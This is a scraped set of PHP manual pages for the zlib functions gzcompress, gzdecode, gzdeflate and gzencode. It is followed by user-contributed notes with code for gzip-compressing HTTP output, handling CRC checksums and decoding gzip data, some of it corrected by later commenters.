I don't know why, but W3C Validator can't validate pages that are GZIP compressed (with functions posted below: gzcompress, pack etc.; not by ob_gzhandler).

Because of this, I use similar code to this below:

<?php
if( strstr($_SERVER['HTTP_USER_AGENT'], 'W3C_Validator')!==false || strstr($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')===false ){
  // do not compress
}else{
  // can send GZIP compressed data
}
?>

This code also checks if user agent is W3C Validator. If it is NOT W3C Validator and user acceptes GZIP encoded data then we can compress the page, in other case if it is W3C Validator or user agent does not accept GZIP enoded data we can't compress the page, 'cause user agent couldn't properly handle it.

Sorry for my bad English
Chris Watt 12-Oct-2005 03:26
Contrary to popular opinion the checksum in the last four bytes of output is not "wrong", it's just not very useful: RFC 1950 s8.2 specifies that the "Adler-32" checksum, not CRC32 should be appended to the compressed data and PHP function follows the RFC (if for no other reason because it uses zlib and Mark Adler was one of the authors thereof). In contrast gzip expects a CRC32 (i.e. it doesn't follow that RFC), and treats the Adler-32 checksum as an incorrect CRC32.

AFAICT there is no simple way to compute the CRC32 directly from the Adler32 checksum.

Personally, my solution was to write a short C program that performs a deflate on, and calculates the CRC32 of, stdin while writing the compressed data (with trailing CRC32 instead of Adler32) on stdout. It's an ugly hack, but it does allow me to  serve a ~1GB compressed output with only a single pass over the uncompressed data and without hitting my 8MB memory limit. In contrast, methods using gzcompress() and crc32() would seem to require a theoretical minimum of three passes across the input data (read into memory, compress, calculate CRC) and 2GB of allocated memory to produce a 1GB compressed output... Short of writing crc32() and deflate() functions from scratch, I couldn't find any way of doing this without either storing the whole output in a variable or resorting to a module in another language.
14-Jun-2005 04:39
If no parameter is given, the default level of 6 is used.

benchmarking the speed:
(compression, datasize, compress time)
0: 37440 (0.002 s)
1: 2537 (0.002 s)
2: 2298 (0.003 s)
3: 2199 (0.003 s)
4: 2299 (0.003 s)
5: 1939 (0.004 s)
6: 1789 (0.004 s)
7: 1724 (0.004 s)
8: 1635 (0.005 s)
9: 1635 (0.005 s)

Level 0 = no compression, then level 1-4 are roughly the fastest to compress with reasonable quality. level 5-7 give better compression but take a little longer and 8-9 take nearly double the time to compress but give best results.

So the system default of 6 is actually a good compromise in speed/size. But for very fast compression times, I go with the threshold value of 3.
gaelreth at gmail dot com 03-May-2005 05:27
There is a useful zipfile class at http://www.zend.com/codex.php?id=696&single=1 that allows you to zip many files into one zip file.
dwales at easyetrader dot com 30-Jul-2003 09:48
I find this works well, save the snip below in your php/ directory then edit your prepend.php file and add a require statement that requires the compression.php file below. Once complete watch (tail -f) your php error log to see the results of compression in action.

<?php

// Gzip encode the contents of the output buffer.
function compress_output_option($output)
{
    // Compress the data into a new var.
    $compressed_out = gzencode($output);

    // Don't compress any pages less than 1000 bytes
    // as it's not worth the overhead at either side.
    if(strlen($output) >= 1000)
    {
        error_log('compression.php Gzipd Output'."\n"
                 .'Before compression size '
                 .strlen($output).' bytes'."\n"
                 .' After compression size '
                 .strlen($compressed_out).' bytes');
        // Tell the browser the content is compressed with gzip
        header("Content-Encoding: gzip");
        return $compressed_out;
    }
    else
    {
        // No compression
        error_log('compression.php Standard Output.');
        return $output;
    }
}

// Check if the browser supports gzip encoding, HTTP_ACCEPT_ENCODING
if (strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip'))
{
    // Start output buffering, and register compress_output() (see
    // below)
    ob_start("compress_output_option");

}
?>
devcontact at tech-island dot com 24-Mar-2003 04:45
The method of first reading the source file and then passing its content to the gzip function instead of simply the source and destination filename was a bit confusing for me.

So I have written a simple funtion you can use to compress files in the gzip format (gzip is readable by winzip like .zip files)

function compress($srcName, $dstName)
{
  $fp = fopen($srcName, "r");
  $data = fread ($fp, filesize($srcName));
  fclose($fp);

  $zp = gzopen($dstName, "w9");
  gzwrite($zp, $data);
  gzclose($zp);
}

// Compress a file
compress("/web/myfile.dat", "/web/myfile.gz");
mail at ciruz dot de 11-Mar-2003 09:59
You should use the crc coz' some linux browsers need it. Some browser won't display anything without crc. My code works with these browsers (tested ;))
chris at mad-teaparty dot com 26-Feb-2003 07:58
little correction of the one above:
the crc is not necessarily needed to display the content in browsers, but it's still useful as a checksum. I suggest that most of the browsers don't check it anyway, otherwise they would not display contents with broken checksums.
Scripts seem to be a little bit faster, you may weigh up advantages with disadvantages (e.g. when you use a secure connection).
chris at mad-teaparty dot com 26-Feb-2003 12:26
It seems that you don't have to pack the crc-checksum and the length of the string. The crucial thing is to erase the last 4 bytes of the gzcompressed content. They seem to be redundant in any case. I rewrote the function "gzDocOut" and I think, it is the most efficient and shortest way to encode an output with gzcompress:

function gzDocOut() {

     if ($encoding = checkCanGzip()) {
       $contents = ob_get_contents();
       ob_end_clean();
       header("Content-Encoding: ". $encoding);
       $output = "\x1f\x8b\x08\x00\x00\x00\x00\x00";
       $output .= substr(gzcompress($contents, 2), 0, -4);
       echo $output;
       exit();
     }
     else {
       ob_end_flush();
       exit();
     }

}

Tested with IE5.5, Netscape 7, Mozilla 1.2, Opera 7, Opera 6 as well as Netscape 4.7. I'll test further browsers to be sure...
orlink at hotmail dot com 03-Jun-2002 09:32
I tried sending a pre-compressed javascript with header("Content-Encoding: gzip") to a request from <script type=javascript src="http://...?op=getscript">.

I have found out so far that IE4 does not support external compressed scripts and stylesheets (that is not embedded in the HTML but included with <script ...src=...> and <link src=...>).  With other versions of IE it works on some computers and not on others even if they have exactly the same versions of IE and Windows.   For instance IE 5.0xxxxxx and Windows 98 Buldxxxx.
If anyones knows of at least one configuration of IE and a OS for which it works for SURE let me know.
postmaster at ak-dev dot com 03-Jun-2002 01:57
Second try! In my mind, the following source code is right with 4.1.2 and higher, and seems to be right with other versions... and its works with all browser I tried(NS 4.7x, mozilla 1.00rc3, IE5.5, opera6.01)...
As it is said in documentation of the function gzencode, you have to use this function, if you want to get the right result! gzcompress doesn't create the right stream output for browsers!(It is explained in gzencode documentation: generated headers are not the same!)

The source code:

<?
  function checkCanGzip() {

      global $HTTP_ACCEPT_ENCODING;

      if (headers_sent()) return 0;
      if (strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false) return
"x-gzip";
      if (strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false) return
"gzip";
      return 0;

  }

  function gzDocOut() {

      if ($encoding = checkCanGzip()) {
        $contents = ob_get_contents();
        ob_end_clean();
        header("Content-Encoding: ".$encoding);
//        print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
        $contents = gzencode($contents);
//        $contents = substr($contents, 0, strlen($contents) - 4);
        print($contents);
//        print(pack('V', crc32($contents)));
//        print(pack('V', strlen($contents)));
        exit();
      }
      else {
        ob_end_flush();
        exit();
      }

  }

  ob_start();
  ob_implicit_flush(0);

  print("your stuff...");

  gzDocOut();

?>

You have to note, that gzencode is able to generate deflate compression, but the previous source code, does not implemente it. You just have to read gzencode documentation to find this tip.
function gzencode in php 4.2.0 (and higher) allows to use a compression level, it is not possible in loder versions.

The code which is commented, is wrong source code, used, in the different exemple found on this page!
postmaster at ak-dev dot com 02-Jun-2002 04:42
It seems that you don't need anymore to add the crc and the size at the end of the stream, it works fairly with php4.06! I don't have tried for the moment with highest version than php 4.06.
The source code:

<?
  function checkCanGzip() {

      global $HTTP_ACCEPT_ENCODING;

      if (headers_sent()) return 0;
      if (strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false) return "x-gzip";
      if (strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false) return "gzip";
      return 0;

  }

  function gzDocOut() {

      if ($encoding = checkCanGzip()) {
        $contents = ob_get_contents();
        ob_end_clean();
        header("Content-Encoding: ".$encoding);
        print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
        $size = strlen($contents);
        $contents = gzcompress($contents, 9);
        $contents = substr($contents, 0, $size);
        print($contents);
//        print(pack('V', crc32($contents)));
//        print(pack('V', $size));
        exit();
      }
      else {
        ob_end_flush();
        exit();
      }

  }

  ob_start();
  ob_implicit_flush(0);

  print("your stuff...");

  gzDocOut();

?>

For the  moment, I have only tried on IE5.5, and it works well.
Effectively, with the crc and the size at the end of gile, it doesn't work!
rostor at swzone dot org 18-Sep-2001 02:04
To solve I.E.5.x data compress problem on IIS5, such opening a download dial box or wrong page load, the only way for me was to change the header content type:

<? header("Content-type: gzip");ob_start ("ob_gzhandler");?>

but now all browser that doesn't support gzip don't load the page.
webmaster at mail.bg 01-Aug-2001 12:40
When you compress your data IE (5.x for sure, no idea about Netscape) may mess up the mime headers, so you may e.g. loose your extensions after compressing output. In my case in attachment saving with no compression everything works fine. When I compress output everything seems OK except I loose the file extension (althogh it really is in the headers). This is because IE seems to think your attachment is mimetype gzip, and not what you send in the headers that follow.

In such cases the easiest sollution would be to disable compression (maybe partially with an .htaccess file?).
gvirgo at mithril dot com 02-Jan-2001 08:14
>>Netscape 4 (on all platforms[?]), IE4/IE5 on the Mac do NOT support
>>gz-compression. Email me if you want to know more.

As a matter of fact, Netscape 4.7x on Win32 DOES support gz-compression.  Calling the following script in my auto_prepend directive seems to work fine.  The script is taken from the Output Buffering article on Zend.com (http://www.zend.com/zend/art/buffering.php).  As noted in the article, it only works with PHP 4.0.4 and higher.

<?php

        // function to compress the output buffer in preparation for transmission to client
    function compress_output($output) {

            // compress and return the output buffer
        return gzencode($output);
    }

        // Check if the browser supports gzip encoding, HTTP_ACCEPT_ENCODING
    if (strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip')) {

            // Start output buffering, and register compress_output()
        ob_start("compress_output");

            // Tell the browser the content is compressed with gzip
        header("Content-Encoding: gzip");
    }

?>
fil at rezox dot com 20-Dec-2000 03:15
GZ-compression works perfectly for html content sent to IE5/IE5.5/Netscape6 browsers. I even compress the <script src='javascriptstuff'> javascript code. It speeds throughput immensely: best case so far 160k html file --> 8k gzip sent.

Netscape 4 (on all platforms[?]), IE4/IE5 on the Mac do NOT support gz-compression. Email me if you want to know more.
ck at newsclub dot de 28-Sep-2000 09:25
Ah right, I did not realize it because my browsers (Acorn Browse on RISC OS and Netscape on Windows) don't make problems at all.

Anyway, you can replace your function "gzip_PrintFourChars"
with "echo pack("V",$Crc)".
@boas.anthro.mnsu.edu 27-Sep-2000 08:30
No, it doesn't return gzip compressed data -- specifically, the CRC is messed up.  However, after massaging the output a lot, I have come up with a solution.  I also commented it a lot, pointing out odd things.

<?php
// Start the output buffer
ob_start();
ob_implicit_flush(0);

// Output stuff here...

// Get the contents of the output buffer
$contents = ob_get_contents();
ob_end_clean();

// Tell the browser that they are going to get gzip data
// Of course, you already checked if they support gzip or x-gzip
// and if they support x-gzip, you'd change the header to say
// x-gzip instead, right?
header("Content-Encoding: gzip");

// Display the header of the gzip file
// Thanks ck@medienkombinat.de!
// Only display this once
echo "\x1f\x8b\x08\x00\x00\x00\x00\x00";

// Figure out the size and CRC of the original for later
$Size = strlen($contents);
$Crc = crc32($contents);

// Compress the data
$contents = gzcompress($contents, 9);

// We can't just output it here, since the CRC is messed up.
// If I try to "echo $contents" at this point, the compressed
// data is sent, but not completely.  There are four bytes at
// the end that are a CRC.  Three are sent.  The last one is
// left in limbo.  Also, if we "echo $contents", then the next
// byte we echo will not be sent to the client.  I am not sure
// if this is a bug in 4.0.2 or not, but the best way to avoid
// this is to put the correct CRC at the end of the compressed
// data.  (The one generated by gzcompress looks WAY wrong.)
// This will stop Opera from crashing, gunzip will work, and
// other browsers won't keep loading indefinately.
//
// Strip off the old CRC (it's there, but it won't be displayed
// all the way -- very odd)
$contents = substr($contents, 0, strlen($contents) - 4);

// Show only the compressed data
echo $contents;

// Output the CRC, then the size of the original
gzip_PrintFourChars($Crc);
gzip_PrintFourChars($Size);

// Done.  You can append further data by gzcompressing
// another string and reworking the CRC and Size stuff for
// it too.  Repeat until done.

function gzip_PrintFourChars($Val)
{
    for ($i = 0; $i < 4; $i ++)
    {
        echo chr($Val % 256);
        $Val = floor($Val / 256);
    }
}
?>


Decodes a gzip compressed string

  • « gzcompress
  • gzdeflate »
  • PHP Manual
  • Zlib Functions
  • Decodes a gzip compressed string

gzdecode

(PHP 5 >= 5.4.0)

gzdecode — Decodes a gzip compressed string

Description

string gzdecode ( string $data [, int $length ] )

This function returns a decoded version of the input data.

Parameters

data

The data to decode, encoded by gzencode().

length

The maximum length of data to decode.

Return Values

The decoded string, or FALSE if an error occurred.

See Also

  • gzencode() - Create a gzip compressed string

User Contributed Notes

Anonymous 19-Jul-2014 02:33
if (!function_exists('gzdecode')) {
    function gzdecode($data)
    {
        return gzinflate(substr($data,10,-8));
    }
}
anonymous at dekho-ji dot com 16-May-2013 08:31
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.
tomas at slax dot org 05-Nov-2011 01:25
I don't have any deep knowledge in compression algorithms and formats, so I have no idea if this works the same on all platforms. But by several experiments on my Linux box I found how to get gzdecoded data without temporary files. Here it is:

<?php
function gzdecode($data)
{
   return gzinflate(substr($data,10,-8));
}
?>

That's it. Simply strip header and footer bytes and you get raw deflated data for inflation.
6869hlopcik at inbox dot lv 29-Sep-2011 12:30
Windows compitable with auto delete temp file.

<?php
function softcoded_gzdecode($data){
    $g=tempnam('./','gz');
    file_put_contents($g,$data);
    ob_start();
    readgzfile($g);
    $d=ob_get_clean();
    unlink($g);
    return $d;
}
?>
webmaster at askapache dot com 02-Jul-2008 11:32
I have used this simple function to gzdecode gzipped files downloaded from the web.

<?php

function gzdecode($data){
  $g=tempnam('/tmp','ff');
  @file_put_contents($g,$data);
  ob_start();
  readgzfile($g);
  $d=ob_get_clean();
  return $d;
}

?>
katzlbtjunk at hotmail dot com 02-May-2008 04:15
3 more bugs found and fixed:
1. failed to work when the gz contained a filename - FIXED
2. failed to work on 64-bit architecture (checksum) - FIXED
3. failed to work when the gz contained a comment - cannot verify.
Returns some errors (not all!) and filename.
<?php function gzdecode($data,&$filename='',&$error='',$maxlength=null)
{
    $len = strlen($data);
    if ($len < 18 || strcmp(substr($data,0,2),"\x1f\x8b")) {
        $error = "Not in GZIP format.";
        return null;  // Not GZIP format (See RFC 1952)
    }
    $method = ord(substr($data,2,1));  // Compression method
    $flags  = ord(substr($data,3,1));  // Flags
    if ($flags & 31 != $flags) {
        $error = "Reserved bits not allowed.";
        return null;
    }
    // NOTE: $mtime may be negative (PHP integer limitations)
    $mtime = unpack("V", substr($data,4,4));
    $mtime = $mtime[1];
    $xfl   = substr($data,8,1);
    $os    = substr($data,8,1);
    $headerlen = 10;
    $extralen  = 0;
    $extra     = "";
    if ($flags & 4) {
        // 2-byte length prefixed EXTRA data in header
        if ($len - $headerlen - 2 < 8) {
            return false;  // invalid
        }
        $extralen = unpack("v",substr($data,8,2));
        $extralen = $extralen[1];
        if ($len - $headerlen - 2 - $extralen < 8) {
            return false;  // invalid
        }
        $extra = substr($data,10,$extralen);
        $headerlen += 2 + $extralen;
    }
    $filenamelen = 0;
    $filename = "";
    if ($flags & 8) {
        // C-style string
        if ($len - $headerlen - 1 < 8) {
            return false; // invalid
        }
        $filenamelen = strpos(substr($data,$headerlen),chr(0));
        if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) {
            return false; // invalid
        }
        $filename = substr($data,$headerlen,$filenamelen);
        $headerlen += $filenamelen + 1;
    }
    $commentlen = 0;
    $comment = "";
    if ($flags & 16) {
        // C-style string COMMENT data in header
        if ($len - $headerlen - 1 < 8) {
            return false;    // invalid
        }
        $commentlen = strpos(substr($data,$headerlen),chr(0));
        if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) {
            return false;    // Invalid header format
        }
        $comment = substr($data,$headerlen,$commentlen);
        $headerlen += $commentlen + 1;
    }
    $headercrc = "";
    if ($flags & 2) {
        // 2-bytes (lowest order) of CRC32 on header present
        if ($len - $headerlen - 2 < 8) {
            return false;    // invalid
        }
        $calccrc = crc32(substr($data,0,$headerlen)) & 0xffff;
        $headercrc = unpack("v", substr($data,$headerlen,2));
        $headercrc = $headercrc[1];
        if ($headercrc != $calccrc) {
            $error = "Header checksum failed.";
            return false;    // Bad header CRC
        }
        $headerlen += 2;
    }
    // GZIP FOOTER
    $datacrc = unpack("V",substr($data,-8,4));
    $datacrc = sprintf('%u',$datacrc[1] & 0xFFFFFFFF);
    $isize = unpack("V",substr($data,-4));
    $isize = $isize[1];
    // decompression:
    $bodylen = $len-$headerlen-8;
    if ($bodylen < 1) {
        // IMPLEMENTATION BUG!
        return null;
    }
    $body = substr($data,$headerlen,$bodylen);
    $data = "";
    if ($bodylen > 0) {
        switch ($method) {
        case 8:
            // Currently the only supported compression method:
            $data = gzinflate($body,$maxlength);
            break;
        default:
            $error = "Unknown compression method.";
            return false;
        }
    }  // zero-byte body content is allowed
    // Verifiy CRC32
    $crc   = sprintf("%u",crc32($data));
    $crcOK = $crc == $datacrc;
    $lenOK = $isize == strlen($data);
    if (!$lenOK || !$crcOK) {
        $error = ( $lenOK ? '' : 'Length check FAILED. ') . ( $crcOK ? '' : 'Checksum FAILED.');
        return false;
    }
    return $data;
}
?>
katzlbtjunk at hotmail dot com 30-Apr-2008 10:51
Aaron G. 07-Aug-2004 03:29 posted the function gzdecode()
to gzencode comments. I FIXED the BUG: if($flags & 1) to the correct if($flags & 2)

Unfortunately the function gzencode() does NOT append a CRC so I did not notice until I tried to upload a file compressed with gzip itself.

<?php

function gzdecode($data) {
  $len = strlen($data);
  if ($len < 18 || strcmp(substr($data,0,2),"\x1f\x8b")) {
    return null;  // Not GZIP format (See RFC 1952)
  }
  $method = ord(substr($data,2,1));  // Compression method
  $flags  = ord(substr($data,3,1));  // Flags
  if ($flags & 31 != $flags) {
    // Reserved bits are set -- NOT ALLOWED by RFC 1952
    return null;
  }
  // NOTE: $mtime may be negative (PHP integer limitations)
  $mtime = unpack("V", substr($data,4,4));
  $mtime = $mtime[1];
  $xfl   = substr($data,8,1);
  $os    = substr($data,8,1);
  $headerlen = 10;
  $extralen  = 0;
  $extra     = "";
  if ($flags & 4) {
    // 2-byte length prefixed EXTRA data in header
    if ($len - $headerlen - 2 < 8) {
      return false;    // Invalid format
    }
    $extralen = unpack("v",substr($data,8,2));
    $extralen = $extralen[1];
    if ($len - $headerlen - 2 - $extralen < 8) {
      return false;    // Invalid format
    }
    $extra = substr($data,10,$extralen);
    $headerlen += 2 + $extralen;
  }

  $filenamelen = 0;
  $filename = "";
  if ($flags & 8) {
    // C-style string file NAME data in header
    if ($len - $headerlen - 1 < 8) {
      return false;    // Invalid format
    }
    $filenamelen = strpos(substr($data,8+$extralen),chr(0));
    if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) {
      return false;    // Invalid format
    }
    $filename = substr($data,$headerlen,$filenamelen);
    $headerlen += $filenamelen + 1;
  }

  $commentlen = 0;
  $comment = "";
  if ($flags & 16) {
    // C-style string COMMENT data in header
    if ($len - $headerlen - 1 < 8) {
      return false;    // Invalid format
    }
    $commentlen = strpos(substr($data,8+$extralen+$filenamelen),chr(0));
    if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) {
      return false;    // Invalid header format
    }
    $comment = substr($data,$headerlen,$commentlen);
    $headerlen += $commentlen + 1;
  }

  $headercrc = "";
  if ($flags & 2) {
    // 2-bytes (lowest order) of CRC32 on header present
    if ($len - $headerlen - 2 < 8) {
      return false;    // Invalid format
    }
    $calccrc = crc32(substr($data,0,$headerlen)) & 0xffff;
    $headercrc = unpack("v", substr($data,$headerlen,2));
    $headercrc = $headercrc[1];
    if ($headercrc != $calccrc) {
      return false;    // Bad header CRC
    }
    $headerlen += 2;
  }

  // GZIP FOOTER - These be negative due to PHP's limitations
  $datacrc = unpack("V",substr($data,-8,4));
  $datacrc = $datacrc[1];
  $isize = unpack("V",substr($data,-4));
  $isize = $isize[1];

  // Perform the decompression:
  $bodylen = $len-$headerlen-8;
  if ($bodylen < 1) {
    // This should never happen - IMPLEMENTATION BUG!
    return null;
  }
  $body = substr($data,$headerlen,$bodylen);
  $data = "";
  if ($bodylen > 0) {
    switch ($method) {
      case 8:
        // Currently the only supported compression method:
        $data = gzinflate($body);
        break;
      default:
        // Unknown compression method
        return false;
    }
  } else {
    // I'm not sure if zero-byte body content is allowed.
    // Allow it for now...  Do nothing...
  }

  // Verifiy decompressed size and CRC32:
  // NOTE: This may fail with large data sizes depending on how
  //       PHP's integer limitations affect strlen() since $isize
  //       may be negative for large sizes.
  if ($isize != strlen($data) || crc32($data) != $datacrc) {
    // Bad format!  Length or CRC doesn't match!
    return false;
  }
  return $data;
}

?>
TheSeoDude 29-Aug-2007 10:43
This function is not found in any of the PHP distribution I use and used so had to figure out a replacement in order to extract and process my server's raw logs automagically.

Check it here http://www.tellinya.com/art2/83/gzdecode . Just a function to extract gzencoded data and hope it helps any1.


Deflate a string

  • « gzdecode
  • gzencode »
  • PHP Manual
  • Zlib Functions
  • Deflate a string

gzdeflate

(PHP 4 >= 4.0.4, PHP 5)

gzdeflate — Deflate a string

Description

string gzdeflate ( string $data [, int $level = -1 [, int $encoding = ZLIB_ENCODING_RAW ]] )

This function compresses the given string using the DEFLATE data format.

For details on the DEFLATE compression algorithm see the document "» DEFLATE Compressed Data Format Specification version 1.3" (RFC 1951).

Parameters

data

The data to deflate.

level

The level of compression. Can be given as 0 for no compression up to 9 for maximum compression. If not given, the default compression level will be the default compression level of the zlib library.

encoding

One of ZLIB_ENCODING_* constants.

Return Values

The deflated string or FALSE if an error occurred.

Examples

Example #1 gzdeflate() example

<?php
$compressed = gzdeflate('Compress me', 9);
echo $compressed;
?>

Changelog

Version | Description
5.4.0 | Added encoding parameter.

See Also

  • gzinflate() - Inflate a deflated string
  • gzcompress() - Compress a string
  • gzuncompress() - Uncompress a compressed string
  • gzencode() - Create a gzip compressed string

User Contributed Notes

stockton at wowway dot com 30-Jun-2013 12:30
After some searching and experimentation I found that the output from this function cannot be 'inflated' with the objective c 'zlibInflate' wrapper for 'zlib' that is available at http://cocoadev.com/wiki/NSDataCategory but the output from gzcompress() can be. Thank you "anonymous at php dot net" and "tomas at slax dot org" for the clues. I hope this saves someone else the searching.
robin 27-Feb-2010 02:46
running 50000 repetitions on various content, i found that gzdeflate() and gzcompress() both performed equally fast regardless content and compression level, but gzinflate() was always about twice as fast as gzuncompress().
anonymous at php dot net 05-Jun-2009 02:20
gzcompress produces longer data because it embeds information about the encoding onto the string. If you are compressing data that will only ever be handled on one machine, then you don't need to worry about which of these functions you use. However, if you are passing data compressed with these functions to a different machine you should use gzcompress.
tomas at slax dot org 03-Oct-2008 02:13
gzcompress() is the same like gzdefflate(), it produces identical data and its speed is the same as well. The only difference is that gzcompress produces 6 bytes bigger result (2 extra bytes at the beginning and 4 extra bytes at the end).
giunta dot gaetano at sea-aeroportimilano dot it 21-Aug-2006 02:22
Take care that that "PHP deflate" != "HTTP deflate".

The deflate encoding used in HTTP is actually zlib encoded.

This is what PHP functions return:
gzencode() == gzip
gzcompress() == zlib (aka. HTTP deflate)
gzdeflate()  == *raw* deflate encoding
denis dot noessler at red-at dot de 17-Jun-2003 12:26
if you have compressed data which is greater than 2 MB (system dependent), you will receive a buffer error by calling the function gzinflate().
be sure to to compress your data by a lower compression level, like 1.
i.e.: gzdeflate($sData, 1);


Create a gzip compressed string

  • « gzdeflate
  • gzeof »
  • PHP Manual
  • Zlib Functions
  • Create a gzip compressed string

gzencode

(PHP 4 >= 4.0.4, PHP 5)

gzencode — Create a gzip compressed string

Description

string gzencode ( string $data [, int $level = -1 [, int $encoding_mode = FORCE_GZIP ]] )

This function returns a compressed version of the input data compatible with the output of the gzip program.

For more information on the GZIP file format, see the document: » GZIP file format specification version 4.3 (RFC 1952).

Parameters

data

The data to encode.

level

The level of compression. Can be given as 0 for no compression up to 9 for maximum compression. If not given, the default compression level will be the default compression level of the zlib library.

encoding_mode

The encoding mode. Can be FORCE_GZIP (the default) or FORCE_DEFLATE.

Prior to PHP 5.4.0, using FORCE_DEFLATE results in a standard zlib deflated string (inclusive zlib headers) after a gzip file header but without the trailing crc32 checksum.

In PHP 5.4.0 and later, FORCE_DEFLATE generates RFC 1950 compliant output, consisting of a zlib header, the deflated data, and an Adler checksum.

Return Values

The encoded string, or FALSE if an error occurred.

Changelog

Version | Description
5.4.0 | FORCE_DEFLATE now generates RFC 1950 compliant output.

Examples

The resulting data contains the appropriate headers and data structure to make a standard .gz file, e.g.:

Example #1 Creating a gzip file

<?php
$data = implode("", file("bigfile.txt"));
$gzdata = gzencode($data, 9);
$fp = fopen("bigfile.txt.gz", "w");
fwrite($fp, $gzdata);
fclose($fp);
?>

See Also

  • gzdecode() - Decodes a gzip compressed string
  • gzdeflate() - Deflate a string
  • gzinflate() - Inflate a deflated string
  • gzuncompress() - Uncompress a compressed string
  • gzcompress() - Compress a string
  • » ZLIB Compressed Data Format Specification (RFC 1950)

User Contributed Notes

geompse at gmail dot com 23-Aug-2011 12:24
Had some trouble finding the correct way to send a Content-Length header with HTTP compression.
The pitch is to use gzencode (not gzdeflaten not gzcompress).

<?php

// disable ZLIB ouput compression
ini_set('zlib.output_compression','Off');

// compress data
$gzipoutput = gzencode($output,6);

// various headers, those with # are mandatory
header('Content-Type: application/x-download');
header('Content-Encoding: gzip'); #
header('Content-Length: '.strlen($gzipoutput)); #
header('Content-Disposition: attachment; filename="myfile.name"');
header('Cache-Control: no-cache, no-store, max-age=0, must-revalidate');
header('Pragma: no-cache');

// output data
echo $gzipoutput;

?>
Sam Dowling 06-Jul-2011 04:30
this is a benchmark test of gzencode (.txt file)
----------------------------------------------
original file size = 3.29 MB (3,459,978 bytes)
compress lvl 1 = 1.09 MB (1,144,006 bytes)
compress lvl 2 = 1.06 MB (1,119,518 bytes)
compress lvl 3 = 1.03 MB (1,085,567 bytes)
compress lvl 4 = 953 KB (976,538 bytes)
compress lvl 5 = 909 KB (931,486 bytes)
compress lvl 6 = 910 KB (932,516 bytes)
compress lvl 7 = 910 KB (932,608 bytes)
compress lvl 8 = 910 KB (932,646 bytes)
compress lvl 9 = 910 KB (932,652 bytes)
----------------------------------------------
getmequick at dot com 23-Jan-2009 09:29
NOTE:

doing like this and so on

<?php
  file_put_contents('output.gz', gzencode( file_get_contents('input.file'),9));
?>

(complete file reading)

may cause memory overflow (Fatal error: Allowed memory size of ..), so it's better to read by parts/bytes.
katzlbtjunk at hotmail dot com 30-Apr-2008 10:58
Aaron G. 07-Aug-2004 03:29 posted the excellent function gzdecode() (SEE BELOW)
BUGFIX: Change: if($flags & 1) to ... if($flags & 2)

Unfortunately the function gzencode() does NOT append a CRC! So the previous version worked with output of gzencode but not with output of the gzip program itself.
gazj at nukemodified dot com 15-Apr-2008 02:47
here is my clean up of supaplex %at% pcbkits %d0t% c0m
submission above.

function alt_gzdecode($gzdatadecode) {
  // seed with microseconds since last "whole" second.
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";
  if(file_exists($eh)){

  $gzf=fopen($eh,"w");
